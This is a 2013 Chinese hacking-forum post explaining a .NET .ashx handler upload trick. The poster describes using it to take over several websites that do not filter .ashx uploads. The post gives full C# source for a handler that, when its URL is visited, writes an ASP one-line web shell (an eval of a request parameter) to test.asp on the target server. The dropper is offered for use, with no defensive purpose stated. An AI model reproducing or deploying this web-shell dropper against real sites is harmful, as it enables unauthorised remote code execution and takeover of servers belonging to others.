灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:2112回复:0

一年前黑阔用的那个ashx上传详解

楼主#
更多 发布于:2013-03-15 11:05
 

图片:20130313112856441.png



这段代码相信大家看得懂吧,前几天拿几个.NET的站,在上传问题上,突然想起一年前黑阔们用的那个ashx,于是成功拿下shell。 本程序涉及 .NET程序及上传未过滤ashx格式的。

但是发现那个ashx代码扔掉了,当时只顾用,没注意代码,  于是百度看了下,其实原理很简单。然后自己简单的写了一个。 这是一个.NET的一般处理程序可以在浏览器中像asp php  aspx等脚本一样运行。只要能传上他,直接用IO类型生成一下就搞定了。
只要打开地址,即可生成。
上面的变量name是文件名,str变量是一句话,中间用转义符/ 分开  string str=”";  一句话密码那儿是用引号的,用转义符隔开,不然会出问题。
 

图片:20130313112856746.png


这里name是调用上面的变量   获取物理路径,然后写入str。  其实很多过了很久的东西,用着依然好用。
源码:

<%@ webHandler Language=”C#” Class=”DisKill” %>
usingSystem;
using System.Web;
using System.IO;
public class DisKill :IHttpHandler {
public void ProcessRequest (HttpContext context){
context.Response.ContentType = “text/plain”;
string name = “test.asp”;
string str=”<%evalrequest(\”DisKill\”)%>”;
try
{
StreamWriter sw = newStreamWriter(context.Server.MapPath(name));
sw.Write(str);
sw.Flush();
sw.Close();
context.Response.Write(“上传成功”);
}
catch(Exception)
{
context.Response.Write(“上传失败”);
}
}
public boolIsReusable {
get {
return false;
}
}
}

喜欢0 评分0
游客

返回顶部